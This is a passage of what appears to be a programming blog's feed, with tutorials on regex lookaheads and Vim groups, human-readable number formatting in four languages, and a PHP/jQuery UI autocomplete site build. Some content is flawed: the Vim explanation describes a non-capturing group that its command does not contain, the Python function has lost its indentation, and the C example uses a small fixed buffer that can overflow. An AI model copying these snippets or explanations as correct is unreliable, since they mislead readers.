For example, if you have the string "I love cats and dogs", and you want to match only the word "cats" if it is followed by the word "and", you could use the positive lookahead assertion like this: &lt;span class="myspan"&gt;cats(?= and)&lt;/span&gt;
&lt;br&gt;
In this case, the regular expression will match the word "cats" only if it is followed by the string " and", but the " and" will not be included in the match.&lt;br&gt;
Positive lookaheads can be useful when you want to match a pattern only if it appears in a certain context, without actually including that context in the match. They are supported in many regular expression engines, including those used in programming languages like Perl, Python, and JavaScript.
&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;h2&gt;vim: Using non-capturing groups&lt;/h2&gt;

&lt;p&gt;
  In Vim, you can use non-capturing groups by using the &lt;span class="myspan"&gt; \%(...\)&lt;/span&gt; syntax. Here's an example:&lt;br&gt;

Suppose you have a text file with a list of names in the format "Last Name, First Name". You want to reverse the order of the names and format them as "First Name Last Name". You can use a non-capturing group to match the comma and the space after the comma without capturing them, and then use a backreference to swap the order of the names. Here's how you can do it in Vim:
&lt;/p&gt;

&lt;pre class="language-vim" &gt;
    &lt;code class="language-vim" &gt;

:%s/\(\w\+\), \(\w\+\)/\2 \1/g

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;
  In this example, we're using capturing groups to match the last name and the first name, but we're using a non-capturing group to match the comma and the space after the comma. We're using &lt;span class="myspan"&gt; \%(...\)&lt;/span&gt; to create the non-capturing group, and we're using &lt;span class="myspan"&gt;\(\)&lt;/span&gt; to create the capturing groups.&lt;br&gt;

  The replacement string &lt;span class="myspan"&gt; \2 \1&lt;/span&gt; swaps the order of the names, putting the first name first and the last name last.&lt;br&gt;

Here's an example of what the text file might look like before and after applying the Vim command:

&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;h4&gt;Before:&lt;/h4&gt;

&lt;pre class="language-text" &gt;
    &lt;code class="language-text" &gt;

Smith, John
Doe, Jane
Jones, Tom

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h4&gt;After:&lt;/h4&gt;

&lt;pre class="language-text" &gt;
    &lt;code class="language-text" &gt;

John Smith
Jane Doe
Tom Jones

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;
  In summary, regular expressions are a powerful tool for searching and manipulating text. By mastering advanced regular expression techniques, you can greatly enhance your productivity when working with text files, whether you're using command-line tools like grep, sed, and awk, or text editors like vim and emacs.
&lt;/p&gt;

&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;
  Advanced regular expressions are a powerful tool for manipulating text, but they can also be complex and difficult to read. It is important to use them judiciously and to test them thoroughly before applying them to large datasets. With a little practice, however, you can use advanced regular expressions to automate complex text manipulation tasks and save time and effort in your work.
&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="advanced regular expressions"></category><category term="sed"></category><category term="grep"></category><category term="vim"></category><category term="text manipulation"></category><category term="text search"></category><category term="lookahead assertions"></category><category term="lookbehind assertions"></category><category term="backreferences"></category><category term="conditional statements"></category><category term="non-capturing groups"></category><category term="atomic groups"></category></entry><entry><title>1K, 1.234M Human readable formatted numbers in PHP, Python, C and C++</title><link href="https://mosaid.xyz/articles/1k-1234m-human-readable-formatted-numbers-in-php-python-c-and-c-50.html" rel="alternate"></link><published>2022-10-01T11:58:56+00:00</published><updated>2022-10-01T11:58:56+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2022-10-01:/articles/1k-1234m-human-readable-formatted-numbers-in-php-python-c-and-c-50.html</id><summary type="html">&lt;p&gt;1K, 1.234M Human readable formatted numbers in PHP, Python, C and C++&lt;/p&gt;</summary><content type="html">&lt;p&gt;1K, 1.25M Human Readable, formatted numbers in PHP, Python, C and C++&lt;/p&gt;

&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;We take the value of our number and we keep dividing it by 1000, each time we increase the magnitude by 1. we consider the number as powers of 1000 &lt;/p&gt;
&lt;p&gt;1,000 a magnitude of 1 -&amp;gt; k&lt;/p&gt;
&lt;p&gt;1,000,000 a magnitude of 2 -&amp;gt; M and so forth&lt;/p&gt;
&lt;p&gt;and finaly we print the number divided by the 1000 to the power of the magnitude, think of it as a scientifc format of the number &lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;h2&gt;Python&lt;/h2&gt;
&lt;pre class="language-python" &gt;
    &lt;code class="language-python" &gt;

def human_format(value):
    if value&amp;lt;1000:
    return value
    num = value
    magnitude = 0
    while abs(num) &amp;gt;= 1000:
    magnitude += 1
    num /= 1000.0
    result = round(value / (1000**magnitude),3)
    return f"{result}{' KMBT'[magnitude]}"

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;h2&gt;PHP&lt;/h2&gt;
&lt;pre class="language-php" &gt;
    &lt;code class="language-php" &gt;

function human_format($n, $point='.', $sep=',') {
    if ($n &amp;lt; 0) {
        return 0;
    }
    if ($n &amp;lt; 10000) {
        return number_format($n, 0, $point, $sep);
    }
    $d = $n &amp;lt; 1000000 ? 1000 : 1000000;
    $f = round($n / $d, 1);
    return number_format($f, $f - intval($f) ? 1 : 0, $point, $sep) . ($d == 1000 ? 'k' : 'M');
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;h2&gt;C&lt;/h2&gt;
&lt;pre class="language-c" &gt;
    &lt;code class="language-c" &gt;

// compile with gcc -lm
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;math.h&amp;gt;

const char symbols[] = {' ','K','M','T'};
void human_format(int n, char* human_number){
    int magnitude = 0 ,tmp = n;
    while (tmp &amp;gt; 1000){
     magnitude++;
     tmp /= 1000;
    }
    sprintf(human_number,"%.3f%c", (double) n / pow(1000.0,magnitude),symbols[magnitude]);
}

int main() {
    char n[7];
    human_format(1234,n);
    printf("%s",n); // 1.234K
    return 0;
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;h2&gt;C++&lt;/h2&gt;
&lt;pre class="language-cpp" &gt;
    &lt;code class="language-cpp" &gt;

#include &amp;lt;iostream&amp;gt;
#include &amp;lt;cmath&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;sstream&amp;gt;
#include &amp;lt;iomanip&amp;gt;

const char symbols[] = {' ','K','M','T'};
std::string human_number(int n){
    int magnitude = 0;
    double tmp = n;
    std::ostringstream ss;
    while ( tmp &amp;gt; 1000 ){
        magnitude++;
        tmp /= 1000;
    }
    ss  &amp;lt;&amp;lt; std::fixed
        &amp;lt;&amp;lt; std::setprecision(3)
        &amp;lt;&amp;lt; n / pow(1000.0,magnitude)
        &amp;lt;&amp;lt; symbols[magnitude];
    return ss.str();
}
int main() {
    std::cout&amp;lt;&amp;lt; human_number(1234);
    return 0;
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="c++"></category><category term="python"></category><category term="php"></category><category term="Human Readable"></category><category term="Formatted Numbers"></category><category term="views"></category><category term="website"></category><category term="visits"></category><category term="Kilo"></category></entry><entry><title>Creating A Real Website with PHP object oriented - part 7 - a search input and autocomplete</title><link href="https://mosaid.xyz/articles/creating-a-real-website-with-php-object-oriented-part-7-a-search-input-and-autocomplete-27.html" rel="alternate"></link><published>2020-09-07T22:32:08+00:00</published><updated>2020-09-07T22:32:08+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-09-07:/articles/creating-a-real-website-with-php-object-oriented-part-7-a-search-input-and-autocomplete-27.html</id><summary type="html">&lt;p&gt;in this 7th part of this tutorial series about PHP object oriented programmig, we will add a very important part of any website, an input field to search the website, in this particular website the input search field will help us search the wallpapers and we will add an autocomplete component using jquery-ui&lt;/p&gt;</summary><content type="html">&lt;p&gt;in this 7th part of this tutorial series about PHP object oriented programming, we will add a very important part of any website, an input field to search the website, in this particular website the input search field will help us search the wallpapers and we will add an autocomplete component using jquery-ui&lt;/p&gt;
&lt;h2&gt;Viewing one wallpaper:&lt;/h2&gt;
&lt;p&gt;First we add these 3 lines of code to allow us to be able to view a single wallpaper as we have mentiend in the previews articles , the one() method from our &lt;strong style="color:blue;"&gt; ViewWallpapers class&lt;/strong&gt; will be like this:&lt;/p&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

protected function one(){
    $w = $this-&amp;gt;db-&amp;gt;one($this-&amp;gt;id);
    echo '&amp;lt;div class="row"&amp;gt;';
    echo '&amp;lt;img style="max-width:100%;height:auto;" src="/images/Wallpapers/'.$w["url"].'" &amp;gt;';
    echo '&amp;lt;/div&amp;gt;';
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;We will create another method to handle viewing the items, this method will be called once in the all() method and once again in the search() method. I should note that I changed the css class "row" to "wrow" so that it dose not interfere with the bootstrap class "row" so change it in the css code from the &lt;a href="https://mosaid.xyz/Articles/25/Creating+A+Real+Website+Using+PHP+Object+Oriented+-+part+6+-+HTML+and+masonry+image+gallery" &gt;previous&lt;/a&gt; article&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

private function __viewitems($items){
    echo '&amp;lt;div class="wrow"&amp;gt;';
    foreach ($items as $item) {
        echo '&amp;lt;div class="item"&amp;gt;';
        echo '    &amp;lt;a href="/Wallpapers/Full/'.$item["id"].'" &amp;gt;';
        echo '        &amp;lt;img src="/images/Thumbnails/'.$item["url"].'" &amp;gt;';
        echo '        &amp;lt;div class="content"&amp;gt;';
        echo '            &amp;lt;p&amp;gt;'.$item["x"].'x'.$item["y"].'&amp;lt;/p&amp;gt;';
        echo '        &amp;lt;/Div&amp;gt;';
        echo '    &amp;lt;/a&amp;gt;';
        echo '&amp;lt;/div&amp;gt;';
    }
    echo '&amp;lt;/div&amp;gt;';
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Now the one() and search() methods in our &lt;strong style="color:blue;"&gt; ViewWallpapers class&lt;/strong&gt;  will be like:&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

protected function all(){
    $items = $this-&amp;gt;db-&amp;gt;all($this-&amp;gt;first,$this-&amp;gt;perPage);
    $this-&amp;gt;__viewitems($items);
}
protected function search(){
    $items = $this-&amp;gt;db-&amp;gt;search($this-&amp;gt;searchquery,$this-&amp;gt;first,$this-&amp;gt;perPage);
    $this-&amp;gt;__viewitems($items);
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Getting Bootstrap, jquery and jquery-ui:&lt;/h2&gt;
&lt;p&gt;First we get the bootstrap css and js files from &lt;a href="https://www.bootstrapcdn.com/" target="_blank" &gt;https://www.bootstrapcdn.com/&lt;/a&gt;. At the time of writing this article it was on version v4.5.2 and the files were the following : &lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-html"&gt;
&lt;code class="language-html"&gt;

&amp;lt;-- jQuery cdn : --&amp;gt;

&amp;lt;script
      src="https://code.jquery.com/jquery-3.5.1.min.js"
      integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
      crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;

&amp;lt;-- bootstrap cdn : --&amp;gt;
&amp;lt;link rel="stylesheet"
      href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"
      integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z"
      crossorigin="anonymous"&amp;gt;
&amp;lt;script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"
       integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV"
       crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;In order to use the autocomplete, we need to download this &lt;a href="https://jqueryui.com/resources/download/jquery-ui-1.12.1.zip"&gt;jquery-ui zip file &lt;/a&gt;, extract it and use the minified versions in both &lt;strong style="color:blue;"&gt;jquery-ui.min.js&lt;/strong&gt; and   &lt;strong style="color:blue;"&gt;jquery-ui.min.css&lt;/strong&gt; files. add them to our website project folders and include them in the  &lt;strong style="color:green;"&gt;index.php&lt;/strong&gt; file. &lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Creating the input search element:&lt;/h2&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-html"&gt;
&lt;code class="language-html"&gt;

&amp;lt;div class="globalsearch"&amp;gt;
    &amp;lt;input class="form-control" type="text" placeholder="search wallpapers" &amp;gt;
    &amp;lt;div id="tagsuggestions"&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;The javascript autocomplete code:&lt;/h2&gt;
&lt;pre class="language-javascript"&gt;
&lt;code class="language-javascript"&gt;

$(document).ready(function() {
    $( ".globalsearch" ).on('click','input',function() {
    $(this).autocomplete({
      appendTo: "#tagsuggestions",
      source: function( request, response ) {
        $.ajax( {
          type: "POST",
          url: "/sources/includes/autcomplete.inc.php",
          dataType: "json",
          data: {
        term: request.term
          },
          success: function( data ) {
        response( data );
          },
          error: function(xhr){
          alert(xhr.responseText);
          }
        } );
      },
      minLength: 3,
      select: function( event, ui ) {
          window.location.href = "/Wallpapers/" + encodeURIComponent(ui.item.value).replace('%20','+') + "/1" ;
      }
    } );
    } );
});

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The javascript code above is triggered when we click on an input child of the container with class "globalsearch" that we created with the 4 html lines above. it then performs an ajax request with the method "POST" to a php file that we called &lt;strong&gt;autocomplete.inc.php&lt;/strong&gt;. when the data is received from this php file, and upon a selection by the user. the webpage is redirected to a URL with the selected value. of course our website is prepared to handle that search value and serve the Wallpapers in question.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;The autcomplete.inc.php file:&lt;/h2&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

&amp;lt;?php
spl_autoload_register('myautoloader');
function myautoloader($classname){
    $fname = "../../sources/classes/$classname.class.php";
    if(file_exists($fname)){
    include_once $fname;
    return true;
    }
    return false;
}

$w = new Wallpapers();
$tags = $w-&amp;gt;autocomplete($_POST["term"]);
$data = array();
foreach ($tags as $t) {
    $data[] = $t['tagname'];
}
echo json_encode($data);
?&amp;gt;

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The first function is an autoloader for our classes. the second part is a call to autocomplete() method from our
    &lt;strong style="color:blue;"&gt; Wallpapers class&lt;/strong&gt;. then we format the recieved data from the database in order to convert it to json data for the jquery-ui script. and this method is:&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

public function autocomplete($tag){
    $query = "select tagname from $this-&amp;gt;tagtable where tagname like :t or text like :t limit 50";
    $sql = $this-&amp;gt;pdo-&amp;gt;prepare($query);
    $sql-&amp;gt;bindValue(':t',(string) "%$tag%",PDO::PARAM_STR);
    $sql-&amp;gt;execute();
    return $sql-&amp;gt;fetchAll();
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Finally the css for our input and jquery-ui elements:&lt;/h2&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;pre class="language-css"&gt;
&lt;code class="language-css"&gt;

.globalsearch {
  justify-content: center;
  vertical-align: middle;
  width:70%;
  margin:  0 auto;
  margin-bottom: 5px;
}

.globalsearch input {
    width: 100%;
    height: 40px;
    background:#205041;
    padding-left: 20px;
    border:1px solid white;
    border-radius: 25px;
    font-size: 1.2em;
}

#tagsuggestions {
    position: relative;
}

.ui-autocomplete {
    position: absolute;
    max-width: 100%;
    max-height: 200px;
    overflow-y: scroll;
    overflow-x: hidden;
    text-align: left;
}

.ui-autocomplete a {
    font-size: 14px;
    padding-left: 7px;
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The following video shows all this in details:&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;div class="framediv" &gt;
    &lt;iframe width="560" height="315" src="https://www.youtube.com/embed/xRvHkMsv4pc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category></entry><entry><title>Creating A Real Website Using PHP Object Oriented - part 6 - HTML and masonry image gallery</title><link href="https://mosaid.xyz/articles/creating-a-real-website-using-php-object-oriented-part-6-html-and-masonry-image-gallery-25.html" rel="alternate"></link><published>2020-09-03T19:06:20+00:00</published><updated>2020-09-03T19:06:20+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-09-03:/articles/creating-a-real-website-using-php-object-oriented-part-6-html-and-masonry-image-gallery-25.html</id><summary type="html">&lt;p&gt;At this point we will start adding some HTML code to our website. and our  website will start looking beautiful little by little as we add more features to it&lt;/p&gt;</summary><content type="html">&lt;p&gt;At this point we will start adding some HTML code to our website. and our
website will start looking beautiful little by little as we add more features to
it&lt;/p&gt;
&lt;p&gt;First I did some research in the internet for some templates of image
galleries using CSS and bootstrap. At the end I chose one. I copied the CSS from
their website &lt;a href="https://codepen.io/DatLow/pen/BrXmQr" target="_blank"
&gt;here&lt;/a&gt; and added some minor changes to it and saved it to  "css/style.css" . and here it is :&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;CSS for Bootstrap masonry grid layout:&lt;/h2&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-css"&gt;
&lt;code class="language-css"&gt;

*,
*:before,
*:after {
    box-sizing: border-box;
}

body {
    background-color:#062D31;
}

h1 {
    width:100%;
    background:#143A3D;
    color:#7DE186;
    padding:20px;
    text-align:center;
    letter-spacing:5px;
    text-transform:uppercase;
    font-family:Raleway;
    text-shadow:0 0 4px #7DE186;
    box-shadow:0 0 25px 0 rgba(0,0,0,0.25);
    border-radius:2px;
}

.container {
    max-width:90%;
    margin:3rem auto;
}


.row {
    column-width: 15em;
    -moz-column-width: 15em;
    -webkit-column-width: 15em;
    column-gap: 1rem;
    -moz-column-gap: 1rem;
    -webkit-column-gap: 1rem;
}

.item {
    display: inline-block;
    width: 100%;
    text-align:center;
    margin:0.5rem auto;
    position:relative;
    background:#2E5F61;
    padding:6px;
    border:1px solid #2E5F61;
    border-radius:2px;
    transition: 0.3s ease;
    font-size: 0;
}

.item img {
    max-width:100%;
}

.content {
    position:absolute;
    height:0;
    width:0;
    top:10%;
    left:50%;
    transform:translate(-50%,-50%);
    background:rgba(0,0,0,0.65);
    z-index:1;
    display:flex;
    justify-content:center;
    flex-direction:column;
    height:10%;
    width:100%;
    transition: 0.3s ease-in-out;
    opacity:0;
    border:1px solid black;
}

.content p {
    opacity:0;
    transition-delay:1s;
    transition:0.3s ease;
    font-size:20px;
}

.item:hover {
    box-shadow:0 10px 15px 0 rgba(0,0,0,0.25);
}

.item:hover .content {
    /*
    height:calc(100% - 30px);
    */
    width:calc(100% - 30px);
    opacity:1;
}

.item:hover .content p {
    opacity:1;
    color:#fff;
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Now we will add the html code to our index.php file that will look like this :&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class="language-php"&gt;
&lt;code class="language-php"&gt;

&amp;lt;!doctype html&amp;gt;
&amp;lt;?php
spl_autoload_register('myautoloader');
function myautoloader($classname){
    $fname = "sources/classes/$classname.class.php";
    if(file_exists($fname)){
    include_once $fname;
    return true;
    }
    $fname = "sources/views/$classname.class.php";
    if(file_exists($fname)){
    include_once $fname;
    return true;
    }
    return false;
}

$d = new ViewWallpapers();
?&amp;gt;
&amp;lt;html lang="en"&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta charset="utf-8"&amp;gt;
        &amp;lt;meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"&amp;gt;
        &amp;lt;link rel="stylesheet" href="/css/style.css"&amp;gt;
        &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
